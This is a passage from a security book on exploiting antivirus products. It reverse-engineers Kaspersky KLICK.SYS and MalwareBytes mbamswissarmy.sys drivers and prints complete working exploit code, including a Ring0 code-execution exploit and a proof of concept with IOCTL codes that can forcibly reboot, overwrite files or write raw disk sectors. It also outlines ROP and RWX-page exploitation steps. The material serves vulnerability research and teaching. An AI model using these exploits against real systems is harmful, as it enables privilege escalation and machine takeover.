        (*(void (__thiscall **)(void *))(*(_DWORD *)v10 + 4))(v10);
        if ( sub_15306(v10, 
           *(int (__cdecl **)(char *, char *, int))SystemBuffer, 
           *((_DWORD *)SystemBuffer + 1)) )
(…)

Notice that curious cast-to-function pointer that the decompiler is showing. 

The decompiler indicates that the element at SystemBuffer is used directly as a

function pointer. In other words, a pointer that is sent at the fi rst DWORD in the 

buffer that is sent to the IOCTL handler is being cast as a function pointer and 

is likely going to be used to call something. The sub_15306 function contains 

the following sad code:

; int __thiscall sub_15306(
;           void *this,
;           int (__cdecl *system_buffer)(char *, char *, int),
l           int a3)
.text:00015306 sub_15306 proc near
.text:00015306 var_20= byte ptr -20h
.text:00015306 var_18= byte ptr -18h
.text:00015306 var_10= byte ptr -10h
.text:00015306 var_8= dword ptr -8
.text:00015306 var_4= dword ptr -4
.text:00015306 system_buffer= dword ptr  8
.text:00015306 arg_4= dword ptr  0Ch
.text:00015306
.text:00015306   push    ebp
.text:00015307   mov     ebp, esp
.text:00015309   sub     esp, 20h
(…)
.text:00015316   mov     ecx, [ebp+arg_4]
.text:00015319   lea     edi, [esi+10h]
.text:0001531C   mov     [esi+1ECh], ecx
.text:00015322   push    ecx
.text:00015323   lea     ecx, [esi+1B8h]
.text:00015329   mov     [esi+1F0h], eax
.text:0001532F   mov     [edi], eax
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.text:00015331   mov     eax, [ebp+system_buffer]
; Pointer to the SystemBuffer
.text:00015334   push    ecx
.text:00015335   push    edi
.text:00015336   mov     [esi+1ACh], eax
.text:0001533C   call    eax  ; Call *(DWORD *)SystemBuffer!!!!

The driver is calling any address that is given as the fi rst DWORD in the 

buffer passed to the IOCTL code, which allows anyone to execute any code in 

Ring0! This bug was caused by a design fl aw (or, maybe, because of bad permis-

sions). The function was meant to be used by plug-ins of the KLICK.SYS driver

to register the plug-in and callbacks:

 (…)
.text:0001535D   push    edi
.text:0001535E   push    ecx
.text:0001535F   push    offset aRegisterPlugin 
; "Register plugin: ID = <%x> <%s>\r\n"
.text:00015364   push    3
.text:00015366   push    8
.text:00015368   push    eax
.text:00015369   call    dword ptr [edx+0Ch]

However, the ACL’s driver allowed anyone to call that IOCTL code as if it 

were a plug-in. This allowed anyone to directly execute code at kernel-land 

from an unprivileged process.

Writing an exploit for this vulnerability was trivial, considering that it could 

call, for example, a user-mode pointer. The following is the sample exploit that 

Ruben wrote for this vulnerability:

////////////////////////////////////
///// AVP (Kaspersky)
////////////////////////////////////
//// FOR EDUCATIONAL PURPOSES ONLY
//// Kernel Privilege Escalation #2
//// Exploit
//// Rubén Santamarta
//// www.reversemode.com
//// 01/09/2006
////
////////////////////////////////////

#include <windows.h>
#include <stdio.h>

void Ring0Function()
{
  printf("----[RING0]----\n");
  printf("Hello From Ring0!\n");
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  printf("----[RING0]----\n\n");
  exit(1);
}

VOID ShowError()
{
  LPVOID lpMsgBuf;
  FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| 
                FORMAT_MESSAGE_FROM_SYSTEM,
      NULL,
      GetLastError(),
      MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
      (LPTSTR) &lpMsgBuf,
      0,
      NULL);
  MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
  exit(1);
}

int main(int argc, char *argv[])
{

  DWORD  InBuff[1];
  DWORD  dwIOCTL,OutSize,InSize,junk;
  HANDLE hDevice;

  system("cls");
  printf("#######################\n");
  printf("## AVP Ring0 Exploit ##\n");
  printf("#######################\n");
  printf("Ruben Santamarta\nwww.reversemode.com\n\n");

[1]  hDevice = CreateFile("\\\\.\\KLICK",
         0,
         0,
         NULL,
         3,
         0,
         0);

  //////////////////////
  ///// INFO
  //////////////////////
  if (hDevice == INVALID_HANDLE_VALUE) ShowError();
  printf("[!] KLICK Device Handle [%x]\n",hDevice);

  //////////////////////
  ///// BUFFERS
  //////////////////////



Chapter 14 ■ Local Exploitation 285

 [2]  InSize = 0x8;
 [3]  InBuff[0] =(DWORD) Ring0Function;  // Ring0 ShellCode Address

  //////////////////////
  ///// IOCTL
  //////////////////////
  dwIOCTL = 0x80052110;
  printf("[!] IOCTL [0x%x]\n\n",dwIOCTL);
 [4] DeviceIoControl(hDevice,
        dwIOCTL, 
        InBuff,0x8,
        (LPVOID)NULL,0,

        &junk,  
        NULL);
  return 0;
}

The most interesting parts of the exploit are in bold. At marker [1], it starts by

opening the device driver’s symbolic link created by the KLICK.SYS driver (\\.\

KLICK). Then, at [2], it sets the expected size of the input buffer to 8 bytes. At 

[3], it sets the fi rst DWORD of the input buffer to be sent to the IoControlCode

handler to the address of the local function Ring0Function, and at [4], it simply 

calls the vulnerable IOCTL code using the DeviceIoControl API. The vulnerable 

driver will call the function Ring0Function, showing the message, "Hello from 

Ring0". You could change this payload to whatever you want. For example, you 

could spawn a CMD shell or create an administrator user or anything, because 

the payload will be running as kernel. 

More Logical Kernel Vulnerabilities

Some vulnerabilities in the kernel are the result of incorrectly allowing any 

user to send commands (IOCTLs), as in the previous case with Kaspersky. This 

problem doesn’t affect Kaspersky exclusively but rather impacts a large set of 

antivirus products. This sections shows one more example: a set of zero-day 

kernel vulnerabilities in MalwareBytes. The blog post titled “Angler Exploit Kit 

Gives Up on Malwarebytes Users” explains that the author of Angler Exploit Kit 

simply refuses to operate if the MalwareBytes antivirus contains the following 

erroneous statement:

We can almost imagine cyber criminals complaining about how their brand
new creations, fresh out of the binary factory, are already being detected 
by our software. Even when they think they will catch everyone by surprise 
with a zero-day, we are already blocking it.
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This book discusses how the antivirus can be used as the actual attack target. 

As such, how can the antivirus block a zero-day targeting the antivirus itself? 

The answer is very easy: it cannot. Also, AV software does not even try to 

do so. But to prove them wrong, this example looks for an easy vulnerability 

to exploit. This antivirus product, which is very young, uses a set of kernel 

drivers. One of them creates a device that any local user can communicate with, 

the driver called mbamswissarmy.sys, “The MalwareBytes’ Swiss Army Knife.” 

This name screams that the driver exports interesting functionality, so open it 

in IDA. After the initial auto-analysis fi nishes, you will see the following disas-

sembly at the entry point:

INIT:0002D1DA ; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT 
DriverObject, PUNICODE_STRING RegistryPath)
INIT:0002D1DA                 public DriverEntry
INIT:0002D1DA DriverEntry     proc near
INIT:0002D1DA
INIT:0002D1DA DriverObject    = dword ptr  8
INIT:0002D1DA RegistryPath    = dword ptr  0Ch
INIT:0002D1DA
INIT:0002D1DA                 mov     edi, edi
INIT:0002D1DC                 push    ebp
INIT:0002D1DD                 mov     ebp, esp
INIT:0002D1DF                 call   sub_2D1A1
INIT:0002D1E4                 pop     ebp
INIT:0002D1E5                 jmp     driver_entry
INIT:0002D1E5 DriverEntry     endp

The function named sub_2D1A1 calculates the security cookie; you can skip it. 

Let’s continue with the jump to driver_entry. After some uninteresting parts, 

you can see the code where it’s creating the device object that can be used to 

communicate with the driver:

INIT:0002D03E   mov     edi, ds:__imp_RtlInitUnicodeString
INIT:0002D044   push    offset aDeviceMbamswis; SourceString
INIT:0002D049   lea     eax, [ebp+DestinationString]
INIT:0002D04C   push    eax                   ; DestinationString
INIT:0002D04D   call    edi ; __imp_RtlInitUnicodeString
INIT:0002D04F   push    offset aDosdevicesMb_0 ; SourceString
INIT:0002D054   lea     eax, [ebp+SymbolicLinkName]
INIT:0002D057   push    eax                   ; DestinationString
INIT:0002D058   call    edi ; __imp_RtlInitUnicodeString
INIT:0002D05A   lea     eax, [ebp+DriverObject]
INIT:0002D05D   push    eax                ; DeviceObject
INIT:0002D05E   xor     edi, edi
INIT:0002D060   push    edi                ; Exclusive
INIT:0002D061   push    100h               ; DeviceCharacteristics
INIT:0002D066   push    22h                ; DeviceType
INIT:0002D068   lea     eax, [ebp+DestinationString]
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INIT:0002D06B   push    eax                ; DeviceName
INIT:0002D06C   push    edi                ; DeviceExtensionSize
INIT:0002D06D   push    esi                ; DriverObject
INIT:0002D06E   call    ds:IoCreateDevice

If double-click on either the aDeviceMbamswis or aDosdevicesMb_0 names, 

you will see the full device names it’s creating:

INIT:0002D2CE ; const WCHAR aDosdevicesMb_0
INIT:0002D2CE aDosdevicesMb_0:
INIT:0002D2CE   unicode 0, <\DosDevices\MBAMSwissArmy>,0
INIT:0002D302 ; const WCHAR aDeviceMbamswis
INIT:0002D302 aDeviceMbamswis:
INIT:0002D302   unicode 0, <\Device\MBAMSwissArmy>,0

Now go back to the function you were analyzing by pressing ESC in order 

to continue analyzing it. A few instructions after creating the device object, it 

executes the following code:

INIT:0002D08E   mov     eax, [esi+_DRIVER_OBJECT.MajorFunction]
INIT:0002D091   mov     g_MajorFunction, eax
INIT:0002D096   mov     eax, offset device_create_close
INIT:0002D09B   mov     [esi+_DRIVER_OBJECT.MajorFunction], eax
INIT:0002D09E   mov     [esi+(_DRIVER_OBJECT.MajorFunction+8)], eax
INIT:0002D0A1   lea     eax, [ebp+DestinationString]
INIT:0002D0A4   push    eax                      ; DeviceName
INIT:0002D0A5   lea     eax, [ebp+SymbolicLinkName]
INIT:0002D0A8   push    eax                      ; SymbolicLinkName
INIT:0002D0A9   mov     [esi+(_DRIVER_OBJECT.MajorFunction+38h)],
                        offset DispatchDeviceControl
INIT:0002D0B0   mov     [esi+(_DRIVER_OBJECT.MajorFunction+40h)],
                        offset device_cleanup
INIT:0002D0B7   mov     [esi+_DRIVER_OBJECT.DriverUnload], 
                        offset driver_unload
INIT:0002D0BE   call    ds:IoCreateSymbolicLink

It seems it’s registering the device driver handling functions. Press F5 to see 

the pseudo-code of this portion of code:

  DriverObject->MajorFunction[IRP_MJ_CREATE] = 
                (PDRIVER_DISPATCH)device_create_close;
  DriverObject->MajorFunction[IRP_MJ_CLOSE] = 
                (PDRIVER_DISPATCH)device_create_close;
  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =
                (PDRIVER_DISPATCH)DispatchDeviceControl;
  DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] = 
                (PDRIVER_DISPATCH)device_cleanup;
  DriverObject->DriverUnload = (PDRIVER_UNLOAD)driver_unload;
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It’s registering the callbacks to handle when the device is created and closed, 

the machine shuts down, the driver is unloading, and, most important, the 

device control handler that I renamed to DispatchDeviceControl. This func-

tion is the one responsible for handling the commands, IOCTLs, a userland 

component can send to the driver:

PAGE:0002C11E   mov     eax, [ebp+Irp]                ; IRP->Tail.
Overlay.CurrentStackLocation
PAGE:0002C121   push    ebx
PAGE:0002C122   push    esi
PAGE:0002C123   push    edi
PAGE:0002C124   mov     edi, [eax+60h]
PAGE:0002C127   mov     eax, 
[edi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]
PAGE:0002C12A   xor     ebx, ebx
PAGE:0002C12C   push    ebx                           ; Timeout
PAGE:0002C12D   push    ebx                           ; Alertable
PAGE:0002C12E   push    ebx                           ; WaitMode
PAGE:0002C12F   push    ebx                           ; WaitReason
PAGE:0002C130   mov     esi, offset Mutex
PAGE:0002C135   push    esi                           ; Object
PAGE:0002C136   mov     [ebp+CurrentStackLocation], edi
PAGE:0002C139   mov     [ebp+input_buf_length], eax
PAGE:0002C13C   call    ds:KeWaitForSingleObject
PAGE:0002C142   mov     edi,
[edi+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
PAGE:0002C145   cmp     edi, 22241Dh
PAGE:0002C14B   jz      loc_2C34C
PAGE:0002C151   cmp     edi, 222421h
PAGE:0002C157   jz      loc_2C34C
PAGE:0002C15D   cmp     edi, 222431h
PAGE:0002C163   jz      loc_2C34C
PAGE:0002C169   cmp     edi, 222455h
PAGE:0002C16F   jz      loc_2C34C
PAGE:0002C175   cmp     edi, 222425h
PAGE:0002C17B   jz      loc_2C34C
PAGE:0002C181   cmp     edi, 22242Dh
PAGE:0002C187   jz      loc_2C34C
PAGE:0002C18D   cmp     edi, 222435h
PAGE:0002C193   jz      loc_2C34C
PAGE:0002C199   cmp     edi, 222439h
PAGE:0002C19F   jz      loc_2C34C
PAGE:0002C1A5   cmp     edi, 22245Eh
PAGE:0002C1AB   jz      loc_2C34C
PAGE:0002C1B1   cmp     edi, 222469h
PAGE:0002C1B7   jz      loc_2C34C
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The function stores in EAX the size of the given userland buffer and checks 

the IOCTL code, which is stored in EDI, sent to the driver. There are a few IOCTL 

codes handled here. Let’s follow the conditional jump to loc_2C34C:

PAGE:0002C34C loc_2C34C:   ; CODE XREF: DispatchDeviceControl+35j
PAGE:0002C34C                                        
; DispatchDeviceControl+41j ...
PAGE:0002C34C   mov     edi, [ebp+Irp]
PAGE:0002C34F
PAGE:0002C34F loc_2C34F:   ; CODE XREF: DispatchDeviceControl+1D4j
PAGE:0002C34F                                        
; DispatchDeviceControl+1DBj ...
PAGE:0002C34F   mov     eax, [ebp+CurrentStackLocation]
PAGE:0002C352
PAGE:0002C352 loc_2C352:   ; CODE XREF: DispatchDeviceControl+130j
PAGE:0002C352              ; DispatchDeviceControl+13Cj ...
PAGE:0002C352   mov     ecx,
[eax+_IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
PAGE:0002C355   add     ecx, 0FFDDDBFEh ; switch 104 cases
PAGE:0002C35B   cmp     ecx, 67h
PAGE:0002C35E   ja      loc_2C5A9       ; jumptable 0002C36B default
case
PAGE:0002C364   movzx   ecx, ds:byte_2C62E[ecx]
PAGE:0002C36B   jmp     ds:off_2C5CE[ecx*4] ; switch jump

The code in boldface in the preceding listing is a switch table that is used to 

determine which code must be executed according to the IOCTL code. Going 

to the pseudo-code view makes it easier to determine what is happening. This 

is the switch’s pseudo-code, with the interesting IOCTL code in boldface:

  switch ( io_stack_location->Parameters.DeviceIoControl.IoControlCode )
  {
    case MB_HandleIoctlEnumerate:
      v12 = HandleIoctlEnumerate(Irp, io_stack_location, (int)buf);
      goto FREE_POOL_AND_RELEASE_MUTEX;
    case MB_HandleIoctlEnumerateADS:
      v12 = HandleIoctlEnumerateADS(Irp, io_stack_location, 
            (wchar_t *)buf);
      goto FREE_POOL_AND_RELEASE_MUTEX;
    case MB_HandleIoctlOverwriteFile:
      v12 = HandleIoctlOverwriteFile(Irp, io_stack_location, 
            (wchar_t *)buf);
      goto FREE_POOL_AND_RELEASE_MUTEX;
    case MB_HandleIoctlReadFile:
      v12 = HandleIoctlReadFile(Irp, io_stack_location, buf);
      goto FREE_POOL_AND_RELEASE_MUTEX;
    case MB_HandleIoctlBreakFile:
      v15 = HandleIoctlBreakFile(Irp, io_stack_location, (PCWSTR)buf);
      goto LABEL_41;
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    case MB_HandleIoCreateFile_FileDeleteChild:
      v12 = HandleIoCreateFile(Irp,
            (int)io_stack_location, (wchar_t *)buf, FILE_DELETE_CHILD);
      goto FREE_POOL_AND_RELEASE_MUTEX;
    case MB_HandleIoCreateFile_FileDirectoryFile:
      v12 = HandleIoCreateFile(Irp, (int)io_stack_location, (wchar_t *)
buf, FILE_DIRECTORY_FILE);
      goto FREE_POOL_AND_RELEASE_MUTEX;
    case MB_HandleIoctlReadWritePhysicalSector1:
      v12 = HandleIoctlReadWritePhysicalSector(Irp,
            (int)io_stack_location, (int)buf, 1);
      goto FREE_POOL_AND_RELEASE_MUTEX;
    case MB_HandleIoctlReadWritePhysicalSector2:
      v12 = HandleIoctlReadWritePhysicalSector(Irp,
            (int)io_stack_location, (int)buf, 0);
      goto FREE_POOL_AND_RELEASE_MUTEX;
(..)
    case MB_HalRebootRoutine:
      HalReturnToFirmware(HalRebootRoutine);
      return result;
(…)

According to the function names and IOCTL code, you can determine that 

it’s exporting a lot of functionality to userland that should not be exported at 

all for all user-processes. This is a short explanation of the IOCTLs from the 

pseudo-code in boldface above:

■ MB_HandleIoctlOverwriteFile—Allows any user-mode process to 

 overwrite any fi le

■ MB_HandleIoctlReadFile—Allows any user-mode process to read any fi le

■ MB_HandleIoCreateFile_FileDeleteChild—Delete any fi le and/or 

directory

■ MB_HandleIoctlReadWritePhysicalSector1/2—Read or write physical 

sectors from/to the disk

■ MB_HalRebootRoutine—Executes HalReturnToFirmwareHalRebootRoutine

to reboot the machine from the kernel

This means that an attacker abusing the functionality of this MalwareBytes’s 

driver can own the targeted machine at, almost, any level. Such an attacker, 

thanks to the protective software, can create fi les anywhere, overwrite whatever 

he or she wants, or even install a boot-kit as it allows writing physically to disk 

regardless of the local privileges of the attacker. From a security point of view, 

this is a complete disaster: the antivirus, which is supposed to protect its users 

from malicious attackers, is actually exposing functionality that can be used 

by any user to own the machine.
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The proof-of-concept code I wrote, to prove that my understanding of the 

driver is right, simply reboots the machine the hard way, from the kernel,  without 

showing any dialog or letting the user know that the machine is going to reboot. 

This is the code for the main.cpp fi le:

#include "mb_swiss.h"

//--------------------------------------------------------------------
void usage(const char *prog_name)
{
  printf(
    "Usage: %s\n"
    "--reboot Forcefully reboot the machine.\n"
    "-v       Show version information about the driver.\n", prog_name);
}

//-------------------------------------------------------------------
int main(int argc, char **argv)
{

CMBSwiss swiss;
  if ( swiss.open_device() )
  {
    printf("[+] Device successfully opened\n");

    for ( int i = 1; i < argc; i++ )
    {
      if ( strcmp(argv[i], "--reboot") == 0 )
      {
        printf("[+] Bye, bye!!!");
        Sleep(2000);

swiss.reboot();
        printf("[!] Something went wrong :/\n");
      }
      else if ( strcmp(argv[i], "-v") == 0 )
      {
        char ver[24];
        if ( swiss.get_version(ver, sizeof(ver)) )
          printf("[+] MBAMSwissArmy driver version %s\n", ver);
        else
          printf("[!] Error getting MBAMSwissArmy driver version :(\n");
      }
      else
      {
        usage(argv[0]);
      }
    }
  }
  return 0;
}
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The code only handles two commands: —reboot to reboot the machine and 

-v to show the driver version. It creates an object of type CMBSwiss and calls

the method reboot or get_version accordingly. Now, look at the mb_swiss.h

header fi le:

#ifndef MB_SWISS_H
#define MB_SWISS_H

#include <windows.h>

#include <string>
#include <tlhelp32.h>
#include <winternl.h>
#include <wchar.h>
#include <stdio.h>

//-----------------------------------------------------------------
#define MBSWISS_DEVICE_NAME L"\\\\.\\MBAMSwissArmy"

//-----------------------------------------------------------------
enum MB_SWISS_ARMY_IOCTLS_T
{
  MB_HandleIoctlEnumerate = 0x222402,
  MB_HandleIoctlEnumerateADS = 0x22245A,
  MB_HandleIoctlOverwriteFile = 0x22242A,
  MB_HandleIoctlReadFile = 0x222406,
  MB_HandleIoctlBreakFile = 0x222408,
  MB_HandleIoCreateFile_FileDeleteChild = 0x22240C,
  MB_HandleIoCreateFile_FileDirectoryFile = 0x222410,
  MB_HandleIoctlReadWritePhysicalSector1 = 0x222416,
  MB_HandleIoctlReadWritePhysicalSector2 = 0x222419,
  MB_0x222435u = 0x222435,
  MB_0x222439u = 0x222439,
  MB_0x22241Du = 0x22241D,
  MB_do_free_dword_2A548 = 0x222421,
  MB_0x222431u = 0x222431,
  MB_DetectKernelHooks = 0x222455,
  MB_HandleIoctlReadMemoryImage = 0x222452,
  MB_0x222442u = 0x222442,
  MB_0x222446u = 0x222446,
  MB_0x22244Au = 0x22244A,
  MB_RegisterShutdownNotification = 0x22244E,
  MB_HalRebootRoutine = 0x222425,
  MB_ReBuildVolumesData = 0x22242D,
  MB_HandleIoctlGetDriverVersion = 0x22245E,
  MB_set_g_sys_buf_2A550 = 0x222461,
  MB_PrintKernelReport = 0x222465,
  MB_free_g_sys_buf_2a550 = 0x222469,
};
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//-------------------------------------------------------------------
struct mb_driver_version_t
{
  int major;
  int minor;
  int revision;
  int other;
};

//-------------------------------------------------------------------
class CMBSwiss
{
private:
  HANDLE device_handle;
public:
  bool open_device(void);
  void reboot(void);
  bool get_version(char *buf, size_t size);
  bool overwrite_file(const wchar_t *file1, const wchar_t *file2);
};

#endif

And last but not least, the code for mb_swiss.cpp, where the DeviceIoControl

calls are made:

#include "mb_swiss.h"

//-------------------------------------------------------------------
bool base_open_device(const wchar_t *uni_name, HANDLE *device_handle)
{
  HANDLE hFile = CreateFileW(uni_name,
                             GENERIC_READ | GENERIC_WRITE, 
                             0, 0, OPEN_EXISTING, 0, 0);
  if ( hFile == INVALID_HANDLE_VALUE )
    printf("[!] Error: %d\n", GetLastError());

  *device_handle = hFile;
  return hFile != INVALID_HANDLE_VALUE;
}

//------------------------------------------------------------------
bool CMBSwiss::open_device(void)
{
  return base_open_device(MBSWISS_DEVICE_NAME, &device_handle);
}

//------------------------------------------------------------------
void CMBSwiss::reboot(void)
{
  DWORD bytes;
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 DWORD buf;
 if ( !DeviceIoControl(device_handle, MB_HalRebootRoutine, &buf, sizeof(buf),

       &buf, sizeof(buf), &bytes, 0) )
  {
    printf("[!] Operation failed, %d\n", GetLastError());
  }
}

//------------------------------------------------------------------
bool CMBSwiss::get_version(char *buf, size_t size)
{
  DWORD bytes;
  mb_driver_version_t version = {0};
  if ( !DeviceIoControl(device_handle, MB_HandleIoctlGetDriverVersion,
       &version, sizeof(version), &version, sizeof(version), &bytes, 0) 

)
 {
   printf("[!] Error getting version %d\n", GetLastError());
   return false;
 }

 _snprintf_s(buf, size, size, "%d.%d.%d.%d", version.major, 
version.minor, version.other, version.revision);
 return true;
}

It’s worth remembering that this example is using the IOCTL code that the 

MalwareBytes’s driver handles and that this functionality should have never been 

exposed to any local user. But unfortunately for MalwareBytes’s users, they did. 

The vulnerability, at the time of writing these lines, is still a 0day. However, the 

vulnerability will be “responsibly” disclosed before publishing. The complete 

proof-of-concept exploit, with support for more features than just rebooting the

machine, is available at https://github.com/joxeankoret/tahh/malwarebytes.

N O T E  You may have noticed that I put in quotes the word responsibly. I strongly yy

disagree with the conventional d efi nition of “responsible disclosure.” Responsible dis-

closure is considered the process in which a security researcher or a group  discovers 

one or more vulnerabilities and reports them to the vendor, the vendor fi xes the

vulnerabilities (which may take days or in some cases years), and, fi nally, both, if the 

vendor allows it, the vendor and the researchers publish a coordinated security advi-

sory. However, responsible disclosure should mean free audits for multi-million dollar

companies that never audit their products. For security researchers, it should mean 

working for free with big companies that don’t take any responsibility for the irre-

sponsible code that makes their users vulnerable. Often, the security researchers are 

under the threat of being sued if they publish details about the vulnerabilities, even 

when they’re already fi xed. This happened many times to me and to other researchers.
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Summary

Local exploitation techniques are used to exploit a product or its components 

when local access to the target is an option.

This chapter explained various classes of bugs that can lead to exploitation:

■ Memory corruptions bugs—This can mean anything from memory access

violations that lead to crashes to arbitrary memory read/write primitives 

to information leaking.

■ Bad permissions—This type of vulnerability is caused by incorrectly

setting, or not setting at all, the privileges or access control lists (ACLs) 

to system objects, processes, threads, and fi les. For example, a SYSTEM 

process with a null ACL is open to attacks from less privileged processes.

■ Logical vulnerabilities—These usually result from logical programming 

bugs or design fl aws in the software. They could be hard to discover, but 

if found, they can have an adverse effect when exploited. In some cases, 

such bugs cannot be easily fi xed without signifi cant changes in the product 

because these bugs could be deeply integrated and interwoven with other 

components in the product.

These are the very simple steps to take to uncover locally exploitable bugs:

1. Install the software, reboot the machine, and observe all the installed 

components.

2. Analyze the local attack surface by reviewing the installed services, the

processes, and the kernel drivers by checking the permissions and privi-

leges of each object, fi le, and so on.

3. Reverse-engineer the kernel drivers and services to uncover backdoors 

and interesting IOCTLs that can be sent to the drivers.

Here’s a of recap how each class of bugs mentioned above can be exploited:

■ Memory corruption bugs, when present, may allow the attacker to fl ip 

a byte in memory and override vital information in a security token or 

global variables. Imagine for instance that there is a global variable named 

g_bIsAdmin. When this variable is set to 1, because of an exploit leverag-

ing a memory corruption bug, the software will allow administrative 

functions to execute (example: disable the antivirus).

■ Antivirus services with bad permissions, invalid privileges, permissions, 

and ACLs may allow a non-privileged program to interface with a privi-

leged application, running with higher privileges. The attacker may, 

for instance, remotely create a thread into a privileged process, whose 

permissions are too relaxed, to execute malicious code. The same bugs, 
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when found in kernel drivers, would allow any user to interface with it

and send commands (IOCTLs) and access undocumented yet powerful 

functions. The section, “More Logical Kernel Vulnerabilities,” contains

a lot of hands-on information on how to fi nd and exploit logical bugs.

■ Logical vulnerabilities may manifest as backdoors, hidden features, or 

incorrect constraints checks. Backdoors and hidden features are usually 

discovered by reverse-engineering efforts. For example, the Panda Global 

Protection antivirus, up until the 2013 version, had a kernel driver that 

would disable the antivirus when it receives a special command (via an 

IOCTL code).

The next chapter discusses remote exploitation, where it will be possible for 

the attacker to instigate an attack remotely and get local access to the target 

machine. When it comes to a multistage attack, from outside the network to 

the inside, bear in mind that both remote and local exploitation techniques are 

complementary to each other. 
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Remote exploitation techniques are used to exploit a product or a component of a 

product by an attacker who does not have access to the computer being targeted.

Antivirus software can be remotely targeted, but doing so requires a lot of 

effort. This chapter explains why exploiting an antivirus remotely is much more 

complex than local exploitation. It then covers how to write remote exploits for 

antivirus software and also contains many useful tips to make exploitation easier.

Implementing Client-Side Exploitation

In general, exploiting antivirus products remotely is similar to exploiting  client-side 

applications, in the sense that the application is exploited by  interpreting  malicious

code sent via email or through a drive-by exploit. Although there are some net-

work services and management consoles for which remote  exploitation can be 

considered server-side exploitation, the biggest attack surface, and the one that 

is always available when targeting such products, is actually the  client-side part. 

This section focuses on the remote exploitation of client-side antivirus components.

Exploiting Weakness in Sandboxing 

Most antivirus products are still plagued by a lack of implementation of decent 

security measures, which makes exploiting them no different or more dif-

fi cult than exploiting old client-side applications such as music players or 

C H A P T E R 
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Remote Exploitationploitation
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image viewers. Indeed, it is more diffi cult to exploit some security-aware client-

side applications than the vast majority of existing antivirus products. For 

example, writing an exploit for Adobe Acrobat Reader, Google Chrome, or the 

latest versions of Internet Explorer or Microsoft Offi ce is diffi cult in comparison 

to writing an exploit for an antivirus that does not try to prevent itself from 

being owned. This is because antivirus products do not run their critical code 

that deals with untrusted input inside sandboxes, whereas the aforementioned 

desktop apps do. 

The sandbox is kind of a jail that prevents a process from taking certain 

privileged actions. Usually, sandbox processes are designed like this: a 

parent process, also known as the broker, runs with normal user privileges.

The parent process controls one or more child processes that run at a differ-

ent integrity level (in Windows), under a different user, or simply with a more 

limited set of capabilities (in Unix-like operating systems). To perform some 

sensitive and privileged actions, such as executing operating system commands 

or creating fi les outside a specifi c temporary directory, the child processes need 

to communicate with the parent process, the broker. If the broker considers 

the request sent by one of the child processes as valid, then it will perform the 

operation on behalf of the requesting child process, which is running with 

low privileges. However, in most antivirus products, there is nothing similar 

to a sandbox. If you read the antivirus advertisements and then research their 

products, you will discover that when they talk about “sandboxing,” they are 

referring exclusively to running applications or code that they know nothing 

about, inside half-controlled environments. Unfortunately for users, antivirus 

industry security, with only a few notable exceptions, is years behind web 

browser and document reader security.

Even though you now know why exploiting an antivirus application is like 

exploiting any other client-side application, there are still some diffi culties to 

sort out before you can write an exploit for an antivirus. These diffi culties are 

presented by the operating system or compiler exploitation mitigations rather 

than the actual antivirus product. One way to begin to write exploits for AV 

software is to take advantage of the fact that most of them make some com-

mon mistakes in the way they implement ASLR, DEP, and RWX pages. We will 

discuss them in the next sections.

Exploiting ASLR, DEP, and RWX Pages at Fixed Addresses

The following is a short list of trivial and common mistakes that, when left wide 

open, can lead to exploitation and security problems:

■ Not enabling Address Space Layout Randomization (ASLR) for one or 

more modules in their products (even at kernel level), thus effectively 

rendering ASLR useless.
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■ Injecting a non-ASLR-enabled library system-wide, effectively neutral-

izing ASLR system-wide (for all processes).

■ Purposely disabling Data Execution Prevention (DEP) in order to execute 

code in the stack.

■ Finding Read-Write-eXecute (RWX) memory pages at fi xed addresses. 

For exploit writers, fi nding memory pages with RWX attributes at fi xed

addresses is like fi nding a goldmine.

This is an aberration from a security point of view. However, it is an aberra-

tion that happens, and what is bad for some people is good for others (in this 

case, for an exploit writer). Indeed, most of the exploits I have written for fi le 

format vulnerabilities actually abused such “features” (or their lack thereof): 

executing code in the stack (DEP) or simply using some special Return-Oriented 

Programming (ROP) payload, which can be megabytes long, from one or more 

non-ASLR-enabled libraries.

An exploit that uses a non-ASLR-enabled library is often a very reliable exploit 

because that library provides a set of fi xed addresses that the exploit can rely 

on to fi nd all the needed ROP gadgets. However, with some antivirus products, 

you may have even more luck. For example, I discovered that pages with RWX 

attributes are often created at fi xed memory addresses, making it even easier 

to execute your own code in the context of the targeted antivirus.

To illustrate how such an exploitation can take place, imagine that you have 

some heap buffer overfl ow bug in an antivirus product and you can leverage 

that bug to write a pointer value that will later be dereferenced and interpreted 

as being a pointer inside a Virtual Function Table (VTable). Here is the disas-

sembly listing:

MOV EAX, [ECX] ; Memory at ECX is controllable
CALL [EAX+8] ; So, we directly control this call

In this case, because of some previous corruption, you can overwrite a C++ 

object’s VTable address, usually located directly at the object’s instance address. 

Because you control the contents pointed at by ECX, you can also control the call

destination, the dereferenced value at EAX+8.

With such a bug, to achieve remote exploitation, you still need to know where 

to redirect the execution, and because of ASLR, this is not easy (if possible at 

all) to do. You can try the following, though:

 1. Using any of the available non-ASLR-enabled modules, you can redirect 

execution to a set of ROP gadgets that mount the second stage of the attack: 

preparing for shellcode execution.

 2. The ROP gadgets copy the shellcode to the fi xed address RWX pages that 

were left by the targeted antivirus for you to use with your exploit.
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 3. After the ROP gadgets copy the entire shellcode, you can simply return

or jump into the RWX page and continue your execution normally.

 4. Done. It’s game over.

As this example shows, exploitation is generally trivial with any antivirus 

product that makes these typical mistakes. Even the presence of only one of the 

four previously listed mistakes can mean the difference between an  easy-to-exploit 

situation and a who-knows-how-to-exploit-this situation.

If DEP is enabled, as is the case nowadays, no RWX pages are present, and

all the modules are ASLR enabled. In this case, the situation would have been 

different, and depending on the operating system and architecture, exploitation 

would have been a lot more diffi cult:

■ When DEP is enabled, there is no more executing code from data pages.

■ When ASLR is enabled, there is no more ROP unless you know the addresses 

of gadgets.

The exploitation mitigations that are implemented by most of today’s  compilers 

are good enough in most cases:

■ Security cookies are effective against stack buffer overfl ows.

■ Control Flow Guards are effective against use-after-free bugs.

■ SafeSEH protects against overwriting exception handler pointers.

N O T E  You may wonder why an antivirus product, which is often synonymous 

with security for the average user, can be guilty of such a basic mistake. In some 

